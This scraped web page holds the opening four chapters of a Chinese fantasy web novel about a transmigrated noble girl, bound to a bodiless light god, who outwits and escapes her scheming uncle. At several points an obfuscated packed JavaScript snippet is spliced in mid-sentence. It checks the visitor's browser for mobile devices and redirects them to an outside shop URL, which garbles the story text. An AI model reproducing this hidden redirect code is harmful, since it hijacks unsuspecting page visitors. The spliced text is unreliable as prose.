《攻略了的光明神竟然是自己?》 1. 声音 【我诞生于这个世界了。】 格林菲尔觉得,在正常人眼中,她这样的认知很奇怪。尤其是她现在不是婴儿,也不是几岁的孩童,已经满十五岁了,若是将这心里话说出来的话,一定会被人当做脑子有问题。 可是,事实上就是这样。 她并没有十五岁以前的记忆,也不知道为什么自己在十五岁生日这天突然间醒过来,对她来说这一切太过突然,她真的就像是突然间出生在世上的。 【灵魂受到过损伤,15岁以前都是靠身体本能进行活动。】 十五岁才有自己的意识和记忆,这件事本身就已经很奇怪了。更奇怪的是,她还能听到一个声音,只是永远看不到声音主人的长相。 或许是她的反应有点明显,身旁的弟弟问他为什么在看空无一人的走廊,她都没有搭理。只是眼神直直的,望着声音的发源地。 她本以为是错觉,直到那个声音再次出现:“你能看见我?” 格林菲尔摇了摇头。 那个声音又问:“你能听到我说话?” 这次,她给予了肯定的答复。 之后的日子里,她和那个声音的主人每天都会闲聊。通过那个声音的主人的话来看,她曾经的状况并不乐观,只是因为运气特别好的关系,才可以在毫无自我浑浑噩噩的时候没有被人给算计死。 简单来说,就是对一个总是呆呆傻傻的孩子,大部分认都不会有什么戒心,也不会将她当一回事就是了。 她虽然不知道这个声音的主人是什么身份,但是一个连自己模样都没有的存在,她觉得也不见得会是什么很厉害的人。所以比起对方的身份,她好奇的是这人的名字。 “你的名字。” 华贵的房间中,黑胡桃木制成的梳妆台前,一个有着柔顺黑色长发的女孩子,正用木梳给自己打结的发丝,一根一根的梳通,梳顺。 “泽维尔。” 没有人的地方,却传来了清晰的男人声音。 女孩子侧过头,望着声音的不远处,发现那些负责打扫她房间的女仆们,无一不是在忙着自己的事情。 就好像……她们根本听不到那个声音一样。 不,她们确实是看不到,也听不到那个声音。 关于这个声音主人的身份还有名字,女孩子从未询过问,这一次会主动问起,其实也就是因为对方不久前的一句话,让她产生了一点兴趣。 现在她得知了这人的名字,只是觉得这个名字怎么有点熟悉,可也就这种在意的程度罢了。 “你的舅舅在打坏主意。” 这话乍听下有在挑拨离间外甥女和舅舅关系的意思,特别是这句话还是从一个陌生人,尤其是类似于亡灵一样的人的嘴里冒出来,就更加的让人难以相信了。 脸上的表情没有丝毫变化,格林菲尔轻轻用梳子打理着自己的头发,这本来应该是佣人们的工作,可是她并不喜欢和这些人过多的接触。在她看来,这些人可能随时都会为了自己的利益出卖自己,可信度还不如那个看不见的亡灵男人,即便这男人的的话一直不怎么动听。 她父母早逝,在其他人看来是意外,实际上那个时候的事情她已经调查清楚了,就是她所谓的亲人们下得手。只是因为十五岁以前是无意识状态,十二岁的时候成为了孤儿的自己,显然并不能理解那个时候具体发生了什么事情。 失去了家人,她就被接到了舅舅的家里,虽说对方对她的态度还算好,但是只要是经历过事情的,就会看得出来这人并不是什么好东西。 若不是没有证据,格林菲尔甚至觉得就是舅舅害死了她的父母。 她会这么想,并不是没有理由的。 格林菲尔的母亲,是塔尔家族第一继承人,只有她死了继承权才会旁落于他人。至少,在格林菲尔成年以前,塔尔家族的财产和权利都是交由舅舅特卡特·塔尔。 而她舅舅对她的态度,也就属于要么将她给嫁出去,直接让外嫁的她失去继承权,或者就是—— 格林菲尔瞥了眼那边忙碌的女佣们,侧过头戴上一副耳环。耳饰是用贝壳打造的,是不符合贵族着装佩戴的规制的,来这里带过来的财产,早已经被舅舅给放在了宝库,以“你还小暂时不需要”为由,从她的手上拿走了。 不出门,不出席任何宴会的时候,她也不会在意这些。再说了,一个连成年礼都被遗忘了个干净的孩子,又有谁会在举办宴会的时候想到她?因此,她从偶尔来拜访的亲人口中,得知了自己身边有钱的物品都被拿走,而且再也没有拿回来过这件事。 “你觉得,我舅舅他想要做什么?” 末了,她补充了一句:“泽维尔。” 名为泽维尔的男人只是语气冷漠:“谁知道呢?也许他只是想要一劳永逸。” 格林菲尔觉得,若是舅舅真的真心待她,那些东西给了也就给了,她并不会真的想要拿回来。毕竟,抚养一个孩子长大,本身也理应给一些回报。哪怕是如今,她也觉得这并没有什么错。 不过很显然,她的这个舅舅不满足于“只是如此”的程度,他想要的更多,多到让格林菲尔都觉得匪夷所思的地步。 她并没有学过这个大陆的历史,却也明白再多的钱也无法改变塔尔家的现状。 她的母族,塔尔一族虽说是贵族,家族不算是特别富裕的那种,但是将日子过好还是相对来说比较容易的。唯一的问题,就是因为乡下的贵族的关系,始终是无法和上面高位者有联系,因此世袭的贵族身份到底能够延续到什么时候,也并没有个说法。 由于和皇室疏远,塔尔一族指不定哪一天就被剔除了贵族行列也说不定,那么多的贵族少一个也不会有什么人说什么。所谓的没落贵族,其实也就是这么个道理。 特卡特·塔尔的想法,格林菲尔大概也能猜到,无非是想要通过金钱和上面打通路子,从而获得皇室内部人的支持和认可。只是在她看来这种拿钱换地位的做法,治标不治本,改变不了什么。 不,可能她这位舅舅想要的并不是家族的繁华未来,只是在他们这一代可以过得风风光光就好。至于他老死以后子孙的死活,他就没有考虑过。 皇室想要反悔,甚至不需要什么理由,只要换一个继承人,就可以轻易的换掉不需要的贵族世家。 比起格林菲尔繁琐的思绪,声音的主人对此不置一词。在他看来,不过是愚蠢的人类,自然不会让他真的放在心上。 只有格林菲尔能够听到声音的主人,实际上是这个世界的光明神的一部分意识,虽然他至今不明白为什么本应是沉睡的自己,忽然间会在人界醒过来,还以一个意识体的状态和一个女孩子绑定了。 眼前的女孩子尽管依然稚嫩,可是从容貌上倒是可以看出些许熟悉,他现在没有形体不能照镜子,不然的话他觉得他至少可以从自己的长相上,找到和女孩子相似的部分。 比如那鼻梁,那眼睛。 然而,长得像也不能代表什么,作为神界的光明神,很多同人类关系颇深的神,都对他马首是瞻。那么,作为崇拜他的那些神明,有一个两个想要打造一个和他很像的家族,也是可以理解的。 泽维尔不知道自己沉睡了多久,如今人界又是什么时候了,而他唯一可以与之产生联系的对象,也就是眼前的女孩子格林菲尔,塔尔家的下一任继承人,这位偏偏也是一个记忆不全的。 而他,由于和这个孩子绑定的关系,并不能离开对方太远。 根据他这几天来的测试,他可以在这个宅邸自由活动的空间,仅限于女孩子身边百 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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平时阅览书籍以外的时间,她也喜欢和侍女们聊一些关于附近的贵族领地的事情,这部分内容辅导她上课的老师也有说,不过两者说的不太一样。若是说后者是出于对淑女的教导的话,那么前者的话就是只会谈论一些私人方面的情况。 她这些侍女其他方面或许不可信任,但是八卦这方面还真的料很足。 这位伯爵,据说有很糟糕的传闻,他本来就是一个脾气不怎么好的人,之前两次和两位贵族小姐结婚,后面都闹得很难看,其中一个因为遗产的问题还自杀了。对方用金钱让皇室强行用消息给压下去,可是该知道的人还是会知道。 格林菲尔知道这位伯爵家里钱很多,但是这个对象显然不符合自己舅舅中意的人选之一。其他的不说,这个伯爵不只是老迈,他的领地什么都没有,就算是和这家产生了联系,于他这位唯利是图的舅舅也没有什么好处。根据她的判断,除非特立特·塔尔想要做损人不利已的事情,不然的话就没可能是这么个人选。 那也就是说,这只是一个幌子,用来试探她对这件事的态度的。 ——我给你选了一个适婚对象,你会不会乖乖听话任由我拿捏。 差不多就是这么个意思吧。 于是格林菲尔抬眼,露出了笑容:“舅舅,伯爵是条件不错,可是他已经年过半百了,年龄上不合适。” 穿着礼服,头发梳理的特别服帖的男人,好似有所察觉一般,微微一笑:“那么,只要挑选年龄合适就可以了?” 明明是极为温柔的口吻,格林菲尔却只听出了威胁的味道。 即便如此,她也只是面带笑容颔首:“年龄合适,我就不会拒绝这门婚事。” 在其他人,包括她舅舅眼中,她一直都是一个逆来顺受的人,这一点在她父母过世以来尤为明显。就算数月过去了,由于她之前的状态特别稳定,也并没有人怀疑她不经意间的变化。 只有格林菲尔知道,她已经不再是所有人眼中那个无依无靠,只知道依赖唯一的亲人、不懂得拒绝为何物的孩子了。 2. 起始 作为一个拥有地位的人,特立特·塔尔这位男爵,通常情况下来说,不会把事做尽不给任何人包括他自己留余地。然而,现实却是——这人在那晚餐中加入了令人昏迷的药物,还将昏迷中的女孩子交给了一个人贩子。 身处于拥挤肮脏的马车上,泽维尔依旧没有太大情绪波动,只是轻轻勾起唇角,语气中带着一点嘲讽:“现在你还觉得是我们想多了吗?” 眼前的女孩子,双手被麻绳给束缚,视线被白布给遮掩。 格林菲尔的双眼现在看不到任何东西,视线中仅存的也就是黑暗,就算是这样的情境下,她也依旧看不出有任何紧张或者害怕的样子。 略微思索片刻,她用十分温和的语气道:“嗯,看起来是我弄错了。” 泽维尔提醒她:“马车外面的男人是诱拐犯,你舅舅应该是相信他一定会把你卖个好价格。” 格林菲尔抿唇:“这样啊。那么,你在担心我吗?” 好似听不出对方的冷嘲热讽一般,女孩子声音中带着一点笑意:“还真是别扭的担心方式啊。” 泽维尔:? 不,他只是陈述这样一个事实。 担心一个于他没有任何好处的人类?还只是一个普通的孩子?他还没有同情心泛滥到这种程度。 他怜悯世人,可是那是仅限于他承认的那些。 作为光明神,他确实爱着这个世界,可以为了让世界得以延续,同黑暗神进行数千年的殊死搏斗。可是——那并不代表他会因为某个个体而产生多余的情感,那于他毫无益处可言。 至于他为什么会出声提醒眼前的女孩子,纯粹是因为太无聊了一些,在跟着这个女孩子的这些日子里,看着这人一直都在装傻充楞。他不明白,在目前已经情况明了的时候,明明比谁都能够认清现实,为什么却始终不愿捅破那层薄薄的纸。 难道,就为了那几乎不存在的亲情? 那也未免太惹人发笑了,这种虚伪到令人恶心的家人,还不如他和其他神战斗来得有趣。 格林菲尔没有对泽维尔的话置喙什么,而是分析着目前的局势。 她并不是一个大胆的人,也并不具备什么所谓的勇气,目前可以心平气和到和人打趣说笑,她自己都觉得心态有点过好了。 不,也许只是因为有人陪伴在身边的关系,让她才会没有那么焦虑能够稳住情绪吧? 听得到声音看不见人,她也不确定对方能不能帮到她、又能够帮到什么地步。可是两个人一起的话,就算只是心理上的安慰,那么也可以让自己更坚强一点吧? 事实上,她也确实是因为有了泽维尔一直以来的陪伴,才不至于在这个世界清醒的瞬间崩溃。 作为一个穿越者,她在这个世界转生,醒来发现什么好处都没,拿到手的就只有一张是好牌。是贵族背景,但是落魄到快除名的那种;是婴儿穿,十五岁以前毫无自我;而那唯一的好牌到底能够帮她到什么程度呢?她心里有点拿不准目前这个情况下,到底能够起到多少效果,但是也只能试试看了。 【解除全部束缚。】 内心这么念了一句,她发现蒙住自己眼睛的布已经脱落,双手的绳子也已经松开。活动了一下重获自由的双手,她小幅度的以爬行的姿态来,尽可能的不出声的到靠近车门的位置,将脸贴在锁了的车板上面,听着来自于外面的声音。 很快地,她就发现她高估了自己。 她被赋予的天赋,不足以强到让她听到外面的动静。 这门板该死的特别厚! 想了想,她小声道:“泽维尔,你可以看到外面的情况吗?” 关押她的这个马车特别的小,小到很难让人怀疑里面藏人的可能,这就是普通的运输货物的规格。她的身体,被完全的挡在了货物的里面,也就是因为她个头小还没有长开,才不至于被人怀疑和察觉什么。 让她惊讶的是,就算是这样她也并没有触碰到除了她以外的任何生物。她曾经对于泽维尔的情况其实有过猜测,认为对方应该是有实体只是她看不见的那种类型,之所以一直以来都没有能够触摸到对方的温度,应该只是对方不让她触碰吧?而现在的话,她看着没有办法藏人的狭窄空间,确信对方是真的没有实体。 双手环胸的男人迟疑了下,才从“原来这个孩子是魔法师”的状态中缓过来。 魔法师,这个世界虽说大部分都是平民才有的才能,但是贵族之中也有少数具备这样的力量。他只是怎么都没想到,眼前的格林菲尔居然也是那特殊的人之一。 虽说有点意外,不过考虑到虽说是是贵族,但是也快和平民差不多的待遇之后,他觉得对方有魔法天赋反而是正常的事情了。 格林菲尔看不见他,只以为这人已经走出去了,实际上泽维尔只是隔空观察了外面的情况。 “外面现在是晚上,距离你昏迷到苏醒,已经过去了三个小时。这期间,门外的人每隔一个小时都会进来查看一次。现在这个人在吃晚饭,看他准备了很多食物来看,应该要吃不少时间。” “我醒来前过去一小时了吗?” 泽维尔:“这人不久前刚刚来看过,见你没有醒就在外面扎营了。” 女孩子:“扎营?” “对。看起来这人本来应该是普通的佣兵,遇到了什么变故才会改做人贩子。” 这话听起来情有可原,可是并不能说服格林菲尔。 “看他这么熟练,少说也已经卖了不少人了。” 后面的话不需要多说,泽维尔就知道格林菲尔要做什么了。 就像他这些天来多看到的那样,看起来极为寻常的贵族小姐,实际上并不是什么好惹的人。 也许你曾经有苦衷,可是你伤害了人这是既定的事实,那么就不要想着用自己的可怜来为自己的罪行开脱。 一时兴起,泽维尔注视着撬开了锁走出去的女孩子,语气中带着一点戏谑:“需要我帮你杀了他吗?” 对于败类,他可从来没有手软过。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333094|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其实,在这数月间对于女孩子产生了变化,想要和特立特男爵说事情的人,都已经被他暗中解决了。由于格林菲尔从未展现出过魔法的天赋,所以这种事情也不会被人怀疑。 可以说,为了让他自己能够弄清楚目前的情况,他必须确保女孩子活下去这件事上面,真的已经仁至义尽。现在还会这么问,其实也就是想要看看这个女孩子的觉悟。 他保护人类,也会在必要的时候降下神罚,所以他察觉到了这个唯一可以听见他声音的人类的心态变化。 身处于不熟悉的环境中,对别人示弱是最简单也是最好用的方法,可是当对方反过来利用这份软弱进行逼迫的话,那就是时候吹响反击的号角正面对抗了。 得知了格林菲尔有着魔法的天赋,泽维尔确信:无论这个人类做出怎么样的抉择,之前那些在男爵领地中虚伪的和平这个假象,已经是再也不可能出现了。 走出了马车,格林菲尔脑中什么都不想,直接手中魔力涌出,趁着佣兵没有来得及反应,一脸震惊的望着她的时候……她只是保持着一贯优雅的笑容,随后手轻轻一挥! 火焰,自天上落下砸落在男人的脑袋上方,瞬发的魔法直接将人贩子给烤焦了。 这并不是格林菲尔第一次出手,在刚刚醒来的时候,她就失手过,只是那次她还没有能够成功运用魔法的力量,没有出手前魔力就彻底溃散导致攻击无效。而这次,她已经彻底掌握了魔力控制和魔法释放,不会再重蹈覆辙。 “我之前翻了下书房的资料,发现领地附近有不少女孩子,在失踪没多久以后被找到。” 泽维尔听到女孩子明显的停顿,并不搭话,而是一脸无聊的耸拉着脑袋。 他看到了这次来到人界以后最为绚丽的火花,璀璨却危险。他愿意看在这件事上的面子上,听着女孩子唠叨一些想法,而后决定要不要成为对方的引导者。 他需要一个使徒,可是比起力量他更看重的是资质。而这资质,不只是对于力量的掌控而已,还有更多评价的标准。对于使徒是否合格,能否符合自己标准,不同的神有不同的判断方法。 而他,则是比其他神更加简单粗暴。 燃烧着的火焰,倒映在女孩的双眸中,犹如愤怒的情绪一般,久久不散。 原先的话,泽维尔以为自己看错了,可是仔细一看那火焰,发现那并不是自己的错觉。 考虑到女孩子的处境,还有他现在的状态,他并没有这么下去陪小孩子玩过家家的意思。 忽然,格林菲尔听到那个熟悉的声音响起来,还是毫无征兆地那种。 “你,想成为神殿祭司吗?” 什、什么? 女孩子用无比缓慢的速度,眨了眨眼,而后歪了下头看向某个方向。 格林菲尔早就发现了,无论对方在哪里,声音的音量始终是不曾改变过的,她无法确认对方离她有多远,却可以辨别出声音来自于哪个方位。 “泽维尔,你在说什么?” 3. 和谈 神殿祭司,那看起来是没有什么油水的活,可实际上在人员的聘任上极为讲究。 众所周知,无论是哪个时代哪个世界,只要是能够和神扯上关系的,那就绝对不是什么简简单单可以形容的事情。据书籍中的记载,神殿祭司,那是仅次于教皇和圣女的存在。 而提到了神殿,就不得不说一下这个世界的地图版块的构成了。这个世界上除了人类以外,还有其他和他们很像的人形生物,只是因为那些种族不怎么出现在人类的视线中,但是又是确实存在的物种,出于基本的尊重人们将他们给概括到一起称之为“类人”。据世界史所记载,这些生物上次出现,已经是数千年前的事情了。 除了大陆外侧的未知区域,这篇大陆上剩下能够住人的部分被分割为了五个国家,东南西北四大陆分别有一个皇室的国王来统管,而剩下的大陆中心,便是所谓的中央大陆。中央大陆的皇室在规模上和其他四个大陆的国家差不多,唯一的区别就是多了一座规模很大的神殿。不同于其他国家那样神殿是看皇室脸色行事的,中央大陆是完全反过来的,这里的皇室对于神殿极为尊敬,不敢生出一丝傲慢的情绪。 中央大陆的神殿供奉的神,可能没有几个人知晓,却不可能没有听说过对方——光明神。那是独立于其他神的存在,他并不会给予人类任何好处,也不会要求人类什么,但是他却是真正会降下神罚的类型。 格林菲尔并不是中央大陆皇室下的贵族,但是她听到泽维尔说到神殿祭司的时候,脑海里第一个浮现出的就是中央大陆的雷萨布伦特国。这种感觉很奇妙,可能是和她所看到的书中记录的那样,这个中央大陆的名称都非常符合光明神。 雷指代神罚,布伦特的发音接近于光明的发音。 格林菲尔当初看着书的时候,内心还浮现出了一点微妙的想法:雷萨还好说,但是这个布伦特符合很像她曾经接触过的北欧神话,但是光明神的发音真的是这个吗? 在原地站了好一会儿,脑中又进行了一连串的头脑风暴,她才和身边的男人确认道:“你说的神殿祭司,应该不会是中央大陆的那个神殿吧?” 泽维尔并不关心人类的发展史,自然也不会真的去留意这片大陆的每个区块名字,他只是以为女孩子说的是其中一个神殿,就没有否认这话。 “那就算了吧。” 猝不及防听到这毫无余地的拒绝,饶是泽维尔也不免愣住了一会儿。不是,这个孩子的力量中既然有光明的力量,为什么却会这么抗拒成为光明神的神殿祭司? 在他的追问下,格林菲尔也给出了她的理由:“我所在的是南大陆的菲拉特国,你要让我抛下这里的一切,去我从未去过的其他国家,我觉得这么做不妥。” 她的话有理有据,让光明神也反驳不了,这件事暂时就不了了之了。 泽维尔看着身边可怜兮兮,刚刚绕了个圈子去了一次子爵领地回来的女孩子,问她:“直接让我帮你杀了他,不是来得更轻松一点?” 格林菲尔经历了惊心动魄的一夜,这会儿已经呈现出一些疲态了,即便这样她还能心平气和的开口道:“不,光明神教导我们要心胸宽广。” 光明神:我可从来没有教过这种道理。 况且,将从人贩子那边拿到的有男爵罪证的录音石,还将它交给了子爵的人……哪里有心胸宽广可言了? 泽维尔很清楚,若是身边这个女孩子真的是非常单纯的话,那么她就不可能活到现在还安然无恙。虽说这人十五岁以前没有自我,可是谁知道这会不会是自己的一种保护手段?他虽作为神,可是却也并非知晓人类的所有事情,精神分裂的神都有,那么有从小就能够看透一切的婴儿通过封印保护自我,又有什么奇怪的? 对于特立特男爵的所作所为,他平时都是看在眼里的。 虚弱的药剂,会让人食物中毒的餐点,粗糙质感的长裙,以及能够让人精神受损的香料。 他之所以看不上格林菲尔这个舅舅,就是因为这人总是用一下不入流的下作手段,让他看了都觉得太蠢了。他并不会反对一个人去对付另外一个,可是这种一个十五岁的孩子都能看透的低端手段,这位男爵到底是怎么觉得自己的计划万无一失的。 回到塔尔男爵的领地,对于这个一大早天还没有完全亮就从外面回来的小姐,那些佣人们并没有询问什么,只是将她给迎到了里面的客厅,吩咐她:“小姐,男爵吩咐过了,今天早上会有客人过来,需要您接待一下。” 格林菲尔低头,看着自己一身的狼狈,内心嗤笑了一声。 “舅舅有说他什么时候回来吗?” 问这个问题的时候,她确信对方已经不可能回来了。 子爵看不惯自己这个舅舅很久了,只是因为其被皇室给护着,他自己又拿不到什么证据,这才只能眼睁睁看着自己领地的领民经常下落不明,偶尔有找到的死状恐怖。他早就知道,能够做出这种伤天害理事情的人在这里只有一个。 如今有人将证据递给了他,他自然会死死咬住这条线索,再也不给对方有任何翻身的可能。 格林菲尔和子爵因为事后利益的分割谈了不少时间,她的思路很清楚,她还是一个孩子,并不需要所谓的名望。比起这些虚名,她想要的只是一个可以适合她生活的领地。因此,她将查出连环绑架犯的功劳拱手相让,皇室给到的好处会经过子爵的手到她手上。他们两个一个为钱一个为名,一拍即合就制定了让特立特身败名裂的计划。 子爵向她保证:“特立特再也不会出现在你的眼里。” 她对此很满意,在契约书上按上手印才离开子爵府。而这,也是导致她迟迟才归来的理由。 既然她的那个舅舅不觉得她会给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333095|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他丢人,那么自然就不需要给对方留什么情面了。即将到来的客人看到她如此糟糕的状态,会去脑补什么就不是她可以控制的事情了。 泽维尔瞥了眼那些佣人,他们的脸上并没有惊慌的神情,由此可见他们对于特立特男爵的事情确实不知情。也是,这位男爵不管在格林菲尔眼中是怎样的恶人,在外的名声可都是不错的,不然的话也不会想着和皇室维持关系来提升自己的地位。这样一来的话,这些服侍的人是真的不知道他们那位男主人所做的坏事了。 虽说丢也是丢自家舅舅的脸,可是格林菲尔还是用着剩余的时间搭理了一下自己。因为她想起来了,无论如今这个宅邸的主人是谁,她也是塔尔家的一员,她可以给家里其他人丢人,可是不能让自己的母亲蒙羞。 暗自叹了口气,她将头发给拆下,将原先乱糟糟的头发给盘起,略微整理了一下衣着。好在她虽然是大半夜被人给送走,但是想要卖一个好价格,那个人贩子并没有对她做什么,只是将昏迷的她给绑起来蒙住双眼,就没有做什么了。由于这个原因,格林菲尔现在的穿着只剩下了长时间卷缩着身体使得衣服有褶皱,其他方面并没有任何不妥。 待她稍微打扮了一下,就来到了门外等候。 一辆精致漂亮的马车,从外面驶进来,停在了她面前的花园中。 一个穿着高跟鞋的妇人,由马车中走下来。 “早上好,塔尔小姐。” 格林菲尔回忆了一会儿,这才从那记忆库里翻出了关于眼前人的资料。 这位尊称她的妇人不是其他人,而是她母亲的长姐佩珊·塔尔。关于这位没有能够继承爵位,听说是这位当年因为能力不足,各方面考量下都不符合成为一家之主的条件,就让她和其他家进行了联姻,彻底绝了她继承家业的可能。 这位姨妈什么时候出现,格林菲尔都不觉得奇怪。 唯独这个时间点出现,这件事本身就透露出了诡异。自己这个时候应该在什么地方,而这位姨妈会在此时出现在这个宅邸,怎么想都是她舅舅为了甩锅准备的手段。 思及此,她也只是微微欠身:“日安,佩珊姨妈。” 【中央大陆】 雷萨布伦特国的神殿中,红衣祭司看着手上那份名单,发现多出了一个名字。而且就像是深怕别人不知道一样,那个名字还是用不同于平时记录的黑色,而是用了金色。 【格林菲尔】,这个名字上充满了光明神的力量。 在中央大陆这个地方不好混,而能够在其中的神殿做到红衣祭司水准的哪个不是成精的?就算是看不出个所以然,但是就这满是神明明示的做法,他要是还看不懂的话真的可以滚蛋了。 站在神殿的中间,男人身披红色长袍,腰间仅以一根细长的白色编织缎带系着,垂眸。 “谨遵神谕,泽维尔大人。” 4. 报应 “真是糟糕的天气啊。” 塔尔宅邸外的天空,被云层给覆盖,看不见丝毫的阳光的迹象,隐隐有要下暴雨的趋势。 黑发的女孩子抬眸看了眼外面的天气,又飞快的扫了眼面前的人,再次垂下头。听着这位和自己不熟,仅限于记忆中的大姨妈的叹息,她只是将牛奶倒入茶中,又加了一点糖。 哎,好想念可以外卖各种奶茶的前世。 说起来,她还是不太清楚,大家都是穿越,为什么她就过得这么凄惨。总不能是因为她之前怒骂了写这本书的作者,才会得到了这样的惩罚吧?一本用文案把读者骗进去又烂尾的言情小说,她骂上几句又有什么不行的?况且,其他人都在骂,她只是在后面附和了一下。 而且——若是真的要罚她,就不应该在她转世前告诉她给她的力量是什么吧?想要报复一个人的最好方法,不就是剥夺一切让其等死吗? 算了,那都是上辈子的事情了。况且,她如今经历的这一切,都和她所阅读过的书记载的不同——不,不能说不同,最多就是没有详细的细节部分。 所谓小说,能够给你展现的只是这个世界的一隅而已,而一本言情的小说,更是围绕着一部分人的生活兜圈子,对于她目前的处境起不到任何用处。 边上,侍女已经给两人上好了茶和点心。 很显然,对于塔尔领地的食物,这位对于格林菲尔来说不请自来的客人来说,无论是言语,还是那食不下咽的表情,都可以看得出来她的不喜。 暗自叹了口气,她不由得又埋怨了一下被自家舅舅夺走的东西。 作为一个落魄贵族的一份子,她本来的嫁妆若是没有被特立特给夺走,应当是可以在领地过上相当不错的日子的,只可惜失去了那部分的财物,她现在能够改善生活的方式,也就只剩下了这种廉价的奶茶了。 将品质不怎么高的茶水喝了几口,佩珊就皱眉放下了杯子,说明了来意:“我听特立特说,你在这里过得有点抑郁,就打算接你回去住一段时间。” 手上的动作一顿,格林菲尔抬眸:“舅舅是这么对您提起我的吗?” 她从记忆深处将眼前人的资料翻出来。 在嫁人后,她的这位亲人改姓为戴安,如今已经是戴安家的女主人了。由于她的母亲从小为了成为一家之主,平时非常繁忙,生下的孩子都交给其他人抚养,别说让自己的孩子和其他人接触什么了。 对于母亲的这位大姐,格林菲尔唯一记得的就是这人非常的崇尚金钱,典型的利益至上。 佩珊·戴安闻言,低头扫了眼自己眼前的茶:“这么低品质的茶,怎么能够配得上你这个塔尔继承人的身份?” 塔尔一族的继承人?但凡真的有人觉得她适合继承塔尔的姓氏,她就决计不可能过着如今需要看人脸色行事的生活。 格林菲尔露出了无辜的神情:“姨妈,舅舅待我不错,估计是您弄错了。” 佩珊·戴安嘲讽道:“我的弟弟我还能不清楚他的秉性?我没有弄错的话,你带过来的财物都被他藏到自己的小金库里了吧?” “嗯,不知道您在说什么呢。” 打扮精致的妇人打量了眼前的女孩子片刻,似乎不能理解对方为什么能够接受如今的境遇,明明于她这样嫁给乡下富豪的人都看不上这种生活。 对于她的这个外甥女,她在自己的妹妹和弟弟那里听到最多的,就是多么的人畜无害好糊弄。想到自己弟弟的手段,佩珊·戴安觉得大概这个孩子是被特立特给彻底的玩弄于掌心中,所以根本没有想过要反抗和离开。 也罢。 她今天来这里,也不过是想要看看自己妹妹的女儿是不是真的还活着,特立特这个家伙可不会凭白帮人养孩子,那个弟弟什么德行她可是清楚得很。 要么是觉得这个外甥女活着比死了有用,而且还有利可图,要么是还有利用的价值。 只不过,既然特立特已经喊她过来带人离开,看起来格林菲尔是在这个府邸的好日子到头了,只是碍于不知道要怎么处理才会让她处置。可惜这个外甥女不怎么聪明,分不清好坏,只知道被她的弟弟骗得团团转,一副不相信她不愿意跟她走的样子。这样的话,她又何必自讨没趣自己热脸贴冷脸。 她从原地起身,打开了那用来遮脸的扇子,轻声道:“既然你不领情,那就当我没有来过。回头我会和特立特说,是你自己不愿意和我走的,不能怪我。” 格林菲尔声音很轻:“这是自然,佩珊姨妈。” “我走了,你好好休息,不需要送我了。” 女孩子垂眸,低声道:“好的。” “戴安娜,帮我送一下佩珊姨妈。” 待侍女离开,房间里只剩下了自己一个人,格林菲尔才轻舒一口气:“还真是不好糊弄。” 在这场单方面的迎战事情上,泽维尔从头到尾都没有坑过声,经历了格林菲尔和子爵谈的条件,他可不会小看这个和自己绑定的女孩子。 即便,这人现在才15岁。 在椅子上瘫了一会儿,女孩子才坐直了身子,往已经冷掉的奶茶里继续加糖,慢悠悠的开口道:“特立特已经交给子爵了。” 庞纳子爵虽然人不怎么样,但是给出的承诺还是可信的。 格林菲尔相信,这位既然说不会再让她见到特立特舅舅,那么就肯定会完成约定。当然了,如果完不成这件事的话,子爵还会落下一个不能完成契约的糟糕名声。 从她将证据交给对方,又签订了契约那刻起,倒霉的只可能是其他人,而不会是她。就算特立特的事情失败,那么她还是可以拿到子爵给到的赔款,只要悄然将这些钱给用在其他地方,那么她以后的生活也就安稳无虞,不需要担心特立特什么了。 泽维尔没有质疑这话,而是问了另外一件事:“你并不相信佩珊·戴安。” 听到男人说出这个名字,不得不说格林菲尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17333096|199203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是有点惊讶的:“我以为你不会在乎这种事情才对。” 泽维尔:“你说得没错,我确实不在乎。” 格林菲尔:“那你还——” 泽维尔想也不想的开口道:“我不在乎他们,可是我在乎你。” 作为他醒来后就绑定的当事人,就算是为了他她也必须要好好的活下去,若是有人阻碍了他获得情报或者脱离目前的状况的话,他就算是再虚弱也不介意给对方来一道神罚惩戒对方。 在场的若是换成其他十几岁的千金的话,这话估计会让女孩子脸红心跳了,可是偏偏他说话的对象是格林菲尔,他这话就和普通的话语没有什么区别了。 格林菲尔只是愣了下,就托着下巴:“哦这样啊,那还真是让你操心了。” 【那么,你在担心我吗?】 天地可鉴,她会说出这话纯粹是缓解气氛,一个连人都看不见的存在,她到底是要如何用肯定的语气说出这话? 行吧,这种玩笑话这种人也可以用来报复一下,她也是无话可说了。 